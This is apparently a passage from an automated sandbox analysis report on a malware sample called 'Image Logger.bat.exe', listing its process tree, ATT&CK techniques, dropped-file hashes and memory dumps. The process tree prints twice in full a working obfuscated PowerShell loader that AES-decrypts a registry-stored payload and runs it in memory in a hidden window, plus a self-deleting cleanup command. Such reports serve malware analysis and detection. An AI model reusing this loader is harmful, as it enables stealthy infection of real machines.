'')('zpFbjFR6Q79enMkRg/fV9jGByuCosOL+FFrp1L9Bxrc=');$ZldVv = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZldVv, 0, $ZldVv.Length);$ZldVv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZldVv);$QHSJO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yRagRVP7Y0yIRGNXut/wRA==');$QHSJO = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QHSJO, 0, $QHSJO.Length);$QHSJO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($QHSJO);$qPAwu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3nv1Wa++uJVxc1vWntaKLplXRZxKDFr3uibDxi58OA6akRSWJKPKcLd61SPItlqY0XnMHBGvZkhpIvPUbbKr1oJ6xGwA14S05HTX8ockPubh62StS/uMKKQKA6C1mSEme1GddTODhgWgh94iy7yqk9lk78YqFUUq+TWzEkqK7YPDcKWIjzLdifgPOFrT/1yCRwIptdg6knFTVhsM9mPIS/N6Lrf7aikwoweqvaONhL5z2ZgTc5YSXyNme8h7UD4bIDYpyuHM1cBooljxqM+5vnB+aOUje92456JKGrbTyLLd+ClQQpJx7MbmRzCli54D+d68nATq5QHuaJzPeVnf62Tc9iUqA2/7kiNVK6We8YGHgon3mR5ksIo4U0Fg2hf+GIxQoAgKHnP663gcBFoSoc/gKpL0IpCEsZqRJUfLV8c=');$qPAwu = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qPAwu, 0, $qPAwu.Length);$qPAwu = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qPAwu);$EAKnT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XmPKocLK/8SmKmaO5JmdsA==');$EAKnT = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EAKnT, 0, $EAKnT.Length);$EAKnT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EAKnT);$iskZf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('poxV0MP0jpPLCq8Z3pitYA==');$iskZf = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iskZf, 0, $iskZf.Length);$iskZf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($iskZf);$Vsxgi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fMjPiDDtGwwKHRObVzT45g==');$Vsxgi = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Vsxgi, 0, $Vsxgi.Length);$Vsxgi = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Vsxgi);$GZsVo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uCGw99xaYYIE7Jybam7tCw==');$GZsVo = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GZsVo, 0, $GZsVo.Length);$GZsVo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GZsVo);$VYaHm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZD1IRjg+BO+p2yRt7mUxgQ==');$VYaHm = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($VYaHm, 0, $VYaHm.Length);$VYaHm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($VYaHm);$uQajJ0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Vv8TsP5rPt+SM413bEOWhA==');$uQajJ0 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ0, 0, $uQajJ0.Length);$uQajJ0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ0);$uQajJ1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pmT31TTl/lRidgabhJZB0Q==');$uQajJ1 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ1, 0, $uQajJ1.Length);$uQajJ1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ1);$uQajJ2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nHishQEgCf6Wrip0Vd5NBw==');$uQajJ2 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ2, 0, $uQajJ2.Length);$uQajJ2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ2);$uQajJ3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EHH0aLIupLRmFvkxYHYafA==');$uQajJ3 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ3, 0, $uQajJ3.Length);$uQajJ3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ3);$rwFhy.Dispose();$GbeQA1.Dispose();if (@(get-process -ea silentlycontinue $uQajJ3).count -gt 1) {exit};$cqpVt = [Microsoft.Win32.Registry]::$GZsVo.$Vsxgi($uQajJ).$iskZf($ZldVv);$eimmm=[string[]]$cqpVt.Split('\');$preJB=KdelZ(GwNqo([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($eimmm[1])));XnBtD $preJB (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$UcUdn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($eimmm[0]);$GbeQA = New-Object System.Security.Cryptography.AesManaged;$GbeQA.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GbeQA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GbeQA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw=');$GbeQA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw==');$Gzcae = $GbeQA.('rotpyrceDetaerC'[-1..-15] -join '')();$UcUdn = $Gzcae.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UcUdn, 0, $UcUdn.Length);$Gzcae.Dispose();$GbeQA.Dispose();$xreea = New-Object System.IO.MemoryStream(, $UcUdn);$tUOxo = New-Object System.IO.MemoryStream;$AlcuH = New-Object System.IO.Compression.GZipStream($xreea, [IO.Compression.CompressionMode]::$uQajJ1);$AlcuH.$VYaHm($tUOxo);$AlcuH.Dispose();$xreea.Dispose();$tUOxo.Dispose();$UcUdn = $tUOxo.ToArray();$HWqkc = $qPAwu | IEX;$UUjhO = $HWqkc::$uQajJ2($UcUdn);$EYBYD = $UUjhO.EntryPoint;$EYBYD.$uQajJ0($null, (, [string[]] ($QHSJO)))
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      Hide Artifacts: Hidden Window
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3004
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(3004).WaitForExit();[System.Threading.Thread]::Sleep(5000); function GwNqo($hcWdd){ $GbeQA=[System.Security.Cryptography.Aes]::Create(); $GbeQA.Mode=[System.Security.Cryptography.CipherMode]::CBC; $GbeQA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $GbeQA.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw='); $GbeQA.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw=='); $Gzcae=$GbeQA.('rotpyrceDetaerC'[-1..-15] -join '')(); $xZCEn=$Gzcae.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hcWdd, 0, $hcWdd.Length); $Gzcae.Dispose(); $GbeQA.Dispose(); $xZCEn;}function KdelZ($hcWdd){ $xreea=New-Object System.IO.MemoryStream(,$hcWdd); $tUOxo=New-Object System.IO.MemoryStream; $AlcuH=New-Object System.IO.Compression.GZipStream($xreea, [IO.Compression.CompressionMode]::Decompress); $AlcuH.CopyTo($tUOxo); $AlcuH.Dispose(); $xreea.Dispose(); $tUOxo.Dispose(); $tUOxo.ToArray();}function XnBtD($hcWdd,$vCKUl){ $UUjhO=[System.Reflection.Assembly]::Load([byte[]]$hcWdd); $EYBYD=$UUjhO.EntryPoint; $EYBYD.Invoke($null, $vCKUl);}$GbeQA1 = New-Object System.Security.Cryptography.AesManaged;$GbeQA1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GbeQA1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GbeQA1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw=');$GbeQA1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw==');$rwFhy = $GbeQA1.('rotpyrceDetaerC'[-1..-15] -join '')();$uQajJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('R8YHI2y3+bfC/arKVq+DpA==');$uQajJ = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ, 0, $uQajJ.Length);$uQajJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ);$ZldVv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zpFbjFR6Q79enMkRg/fV9jGByuCosOL+FFrp1L9Bxrc=');$ZldVv = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZldVv, 0, $ZldVv.Length);$ZldVv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZldVv);$QHSJO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yRagRVP7Y0yIRGNXut/wRA==');$QHSJO = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($QHSJO, 0, $QHSJO.Length);$QHSJO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($QHSJO);$qPAwu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3nv1Wa++uJVxc1vWntaKLplXRZxKDFr3uibDxi58OA6akRSWJKPKcLd61SPItlqY0XnMHBGvZkhpIvPUbbKr1oJ6xGwA14S05HTX8ockPubh62StS/uMKKQKA6C1mSEme1GddTODhgWgh94iy7yqk9lk78YqFUUq+TWzEkqK7YPDcKWIjzLdifgPOFrT/1yCRwIptdg6knFTVhsM9mPIS/N6Lrf7aikwoweqvaONhL5z2ZgTc5YSXyNme8h7UD4bIDYpyuHM1cBooljxqM+5vnB+aOUje92456JKGrbTyLLd+ClQQpJx7MbmRzCli54D+d68nATq5QHuaJzPeVnf62Tc9iUqA2/7kiNVK6We8YGHgon3mR5ksIo4U0Fg2hf+GIxQoAgKHnP663gcBFoSoc/gKpL0IpCEsZqRJUfLV8c=');$qPAwu = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qPAwu, 0, $qPAwu.Length);$qPAwu = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qPAwu);$EAKnT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XmPKocLK/8SmKmaO5JmdsA==');$EAKnT = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EAKnT, 0, $EAKnT.Length);$EAKnT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EAKnT);$iskZf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('poxV0MP0jpPLCq8Z3pitYA==');$iskZf = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iskZf, 0, $iskZf.Length);$iskZf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($iskZf);$Vsxgi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fMjPiDDtGwwKHRObVzT45g==');$Vsxgi = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Vsxgi, 0, $Vsxgi.Length);$Vsxgi = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Vsxgi);$GZsVo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uCGw99xaYYIE7Jybam7tCw==');$GZsVo = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GZsVo, 0, $GZsVo.Length);$GZsVo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GZsVo);$VYaHm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZD1IRjg+BO+p2yRt7mUxgQ==');$VYaHm = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($VYaHm, 0, $VYaHm.Length);$VYaHm = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($VYaHm);$uQajJ0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Vv8TsP5rPt+SM413bEOWhA==');$uQajJ0 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ0, 0, $uQajJ0.Length);$uQajJ0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ0);$uQajJ1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pmT31TTl/lRidgabhJZB0Q==');$uQajJ1 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ1, 0, $uQajJ1.Length);$uQajJ1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ1);$uQajJ2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nHishQEgCf6Wrip0Vd5NBw==');$uQajJ2 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ2, 0, $uQajJ2.Length);$uQajJ2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ2);$uQajJ3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EHH0aLIupLRmFvkxYHYafA==');$uQajJ3 = $rwFhy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uQajJ3, 0, $uQajJ3.Length);$uQajJ3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uQajJ3);$rwFhy.Dispose();$GbeQA1.Dispose();if (@(get-process -ea silentlycontinue $uQajJ3).count -gt 1) {exit};$cqpVt = [Microsoft.Win32.Registry]::$GZsVo.$Vsxgi($uQajJ).$iskZf($ZldVv);$eimmm=[string[]]$cqpVt.Split('\');$preJB=KdelZ(GwNqo([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($eimmm[1])));XnBtD $preJB (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$UcUdn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($eimmm[0]);$GbeQA = New-Object System.Security.Cryptography.AesManaged;$GbeQA.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GbeQA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GbeQA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4DHD1pC1JAu6pZ5CrHOcpXj6LagYWTnaXobd/lqroSw=');$GbeQA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DauoXLeOSueRq0nIbPJeGw==');$Gzcae = $GbeQA.('rotpyrceDetaerC'[-1..-15] -join '')();$UcUdn = $Gzcae.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UcUdn, 0, $UcUdn.Length);$Gzcae.Dispose();$GbeQA.Dispose();$xreea = New-Object System.IO.MemoryStream(, $UcUdn);$tUOxo = New-Object System.IO.MemoryStream;$AlcuH = New-Object System.IO.Compression.GZipStream($xreea, [IO.Compression.CompressionMode]::$uQajJ1);$AlcuH.$VYaHm($tUOxo);$AlcuH.Dispose();$xreea.Dispose();$tUOxo.Dispose();$UcUdn = $tUOxo.ToArray();$HWqkc = $qPAwu | IEX;$UUjhO = $HWqkc::$uQajJ2($UcUdn);$EYBYD = $UUjhO.EntryPoint;$EYBYD.$uQajJ0($null, (, [string[]] ($QHSJO)))
        5⤵
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2192
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\Image Logger.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\Image Logger.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\Image Logger.bat.exe"
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      PID:840
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1528
    - - C:\Windows\system32\PING.EXE
        
        PING localhost -n 8
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4060
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\Image Logger.bat.exe"
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4692
    - - C:\Windows\system32\attrib.exe
        
        ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\Image Logger.bat.exe"
        5⤵
        Views/modifies file attributes
        
        PID:680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3460

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3816

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3864

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:3992

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4224

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4344

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3500

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:1244

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:332

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:1940

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3016

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4456

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4736

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:1536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Hidden Window

T1564.003

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Image Logger.bat.exe

Filesize
440KB

MD5
0e9ccd796e251916133392539572a374

SHA1
eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204

SHA256
c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221

SHA512
e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jmkj03l3.uuy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System32\ucrtbased.dll

Filesize
1.8MB

MD5
7873612dddd9152d70d892427bc45ef0

SHA1
ab9079a43a784471ca31c4f0a34b698d99334dfa

SHA256
203d10b0deaea87d5687d362ba925289a13e52b5df55b9de58ba534290af27bf

SHA512
d988e9ff11017465b019cf3b599ef7597d2c44fc37cbee9e846dee51990ca5dc45942cc183d9d25c1dfd84f33f922c2ceead6efc1ead19e8eecb509dfb78a083

Download Submit
C:\Windows\System32\vcruntime140_1d.dll

Filesize
52KB

MD5
9ef28981adcbf4360de5f11b8f4ecff9

SHA1
219aaa1a617b1dfa36f3928bd1020e410666134f

SHA256
8caaca1bfc909fcb972ceade7be7b80b5855a4621562ee32a10c9903b616d49a

SHA512
ef7f0b25fae749e6134269683f973fef37dfa1969fa4fa0567378ada073c36da4feb17b62d3282c443f4d3ba8b4aeb39063c607c848ade095880d981141adb9c

Download Submit
C:\Windows\System32\vcruntime140d.dll

Filesize
162KB

MD5
a366d6623c14c377c682d6b5451575e6

SHA1
a8894fcfb3aa06ad073b1f581b2e749b54827971

SHA256
7ed89c668d8ec04c1a0a73f35702b8e0d9819e13e6e7c51c4ac0e0abda6683e6

SHA512
cc7da40652209337d2122cafc903d3c11e31b5a37baf2247034e2f3e1de255e58d0e27fc134ce60a6812e6674fd8bc899f2b434dfc1160053f684cf220e6cb11

Download Submit
memory/488-105-0x00007FFA56C30000-0x00007FFA56C40000-memory.dmp

Filesize
64KB

Download
memory/488-103-0x0000020297970000-0x0000020297997000-memory.dmp

Filesize
156KB

Download
memory/648-97-0x00007FFA56C30000-0x00007FFA56C40000-memory.dmp

Filesize
64KB

Download
memory/648-95-0x00000212F07B0000-0x00000212F07D1000-memory.dmp

Filesize
132KB

Download
memory/648-96-0x00000212F0A00000-0x00000212F0A27000-memory.dmp

Filesize
156KB

Download
memory/692-129-0x000002A3F71D0000-0x000002A3F71F7000-memory.dmp

Filesize
156KB

Download
memory/692-130-0x00007FFA56C30000-0x00007FFA56C40000-memory.dmp

Filesize
64KB

Download
memory/704-104-0x00007FFA56C30000-0x00007FFA56C40000-memory.dmp

Filesize
64KB

Download
memory/704-102-0x0000024303CD0000-0x0000024303CF7000-memory.dmp

Filesize
156KB

Download
memory/764-122-0x00007FFA56C30000-0x00007FFA56C40000-memory.dmp

Filesize
64KB

Download
memory/764-121-0x000001AACBAF0000-0x000001AACBB17000-memory.dmp

Filesize
156KB

Download
memory/996-117-0x0000022E824D0000-0x0000022E824F7000-memory.dmp

Filesize
156KB

Download
memory/996-118-0x00007FFA56C30000-0x00007FFA56C40000-memory.dmp

Filesize
64KB

Download
memory/1100-133-0x00007FFA56C30000-0x00007FFA56C40000-memory.dmp

Filesize
64KB

Download
memory/1100-132-0x000002A1B8F00000-0x000002A1B8F27000-memory.dmp

Filesize
156KB

Download
memory/1148-135-0x000001749F340000-0x000001749F367000-memory.dmp

Filesize
156KB

Download
memory/1148-136-0x00007FFA56C30000-0x00007FFA56C40000-memory.dmp

Filesize
64KB

Download
memory/1156-138-0x000001D81B8E0000-0x000001D81B907000-memory.dmp

Filesize
156KB

Download
memory/1156-139-0x00007FFA56C30000-0x00007FFA56C40000-memory.dmp

Filesize
64KB

Download
memory/1192-141-0x000001E61AEE0000-0x000001E61AF07000-memory.dmp

Filesize
156KB

Download
memory/1192-142-0x00007FFA56C30000-0x00007FFA56C40000-memory.dmp

Filesize
64KB

Download
memory/2504-92-0x00007FFA956E0000-0x00007FFA9579D000-memory.dmp

Filesize
756KB

Download
memory/2504-93-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/2504-89-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/2504-90-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/2504-91-0x00007FFA96BA0000-0x00007FFA96DA9000-memory.dmp

Filesize
2.0MB

Download
memory/2908-30-0x000001EA69BD0000-0x000001EA69EBA000-memory.dmp

Filesize
2.9MB

Download
memory/2908-22-0x00007FFA956E0000-0x00007FFA9579D000-memory.dmp

Filesize
756KB

Download
memory/2908-71-0x00007FFA87760000-0x00007FFA88222000-memory.dmp

Filesize
10.8MB

Download
memory/2908-818-0x00007FFA87760000-0x00007FFA88222000-memory.dmp

Filesize
10.8MB

Download
memory/2908-6-0x00007FFA87763000-0x00007FFA87765000-memory.dmp

Filesize
8KB

Download
memory/2908-15-0x000001EA564F0000-0x000001EA56512000-memory.dmp

Filesize
136KB

Download
memory/2908-16-0x00007FFA87760000-0x00007FFA88222000-memory.dmp

Filesize
10.8MB

Download
memory/2908-17-0x00007FFA87760000-0x00007FFA88222000-memory.dmp

Filesize
10.8MB

Download
memory/2908-18-0x00007FFA87760000-0x00007FFA88222000-memory.dmp

Filesize
10.8MB

Download
memory/2908-19-0x00007FFA87763000-0x00007FFA87765000-memory.dmp

Filesize
8KB

Download
memory/2908-20-0x000001EA3E0F0000-0x000001EA3E11C000-memory.dmp

Filesize
176KB

Download
memory/2908-28-0x000001EA68B20000-0x000001EA69BC6000-memory.dmp

Filesize
16.6MB

Download
memory/2908-21-0x00007FFA96BA0000-0x00007FFA96DA9000-memory.dmp

Filesize
2.0MB

Download
memory/2908-23-0x00007FFA87760000-0x00007FFA88222000-memory.dmp

Filesize
10.8MB

Download
memory/2908-24-0x00007FFA87760000-0x00007FFA88222000-memory.dmp

Filesize
10.8MB

Download
memory/2908-25-0x00007FFA87760000-0x00007FFA88222000-memory.dmp

Filesize
10.8MB

Download
memory/2908-40-0x00007FFA87760000-0x00007FFA88222000-memory.dmp

Filesize
10.8MB

Download
memory/2908-39-0x00007FFA87760000-0x00007FFA88222000-memory.dmp

Filesize
10.8MB

Download
memory/2908-33-0x000001EA3E120000-0x000001EA3E12C000-memory.dmp

Filesize
48KB

Download
memory/2908-26-0x00007FFA87760000-0x00007FFA88222000-memory.dmp

Filesize
10.8MB

Download
memory/2908-27-0x00007FFA87760000-0x00007FFA88222000-memory.dmp

Filesize
10.8MB

Download
memory/2908-34-0x00007FFA96BA0000-0x00007FFA96DA9000-memory.dmp

Filesize
2.0MB

Download
memory/2908-32-0x000001EA6A160000-0x000001EA6A1B8000-memory.dmp

Filesize
352KB

Download
memory/2908-31-0x000001EA69EC0000-0x000001EA6A158000-memory.dmp

Filesize
2.6MB

Download
memory/3004-66-0x000002587FD60000-0x000002587FE12000-memory.dmp

Filesize
712KB

Download
memory/3004-65-0x000002587F900000-0x000002587FD5C000-memory.dmp

Filesize
4.4MB

Download
memory/3004-74-0x000002587FEC0000-0x000002587FF10000-memory.dmp

Filesize
320KB

Download
memory/3004-62-0x00007FFA956E0000-0x00007FFA9579D000-memory.dmp

Filesize
756KB

Download
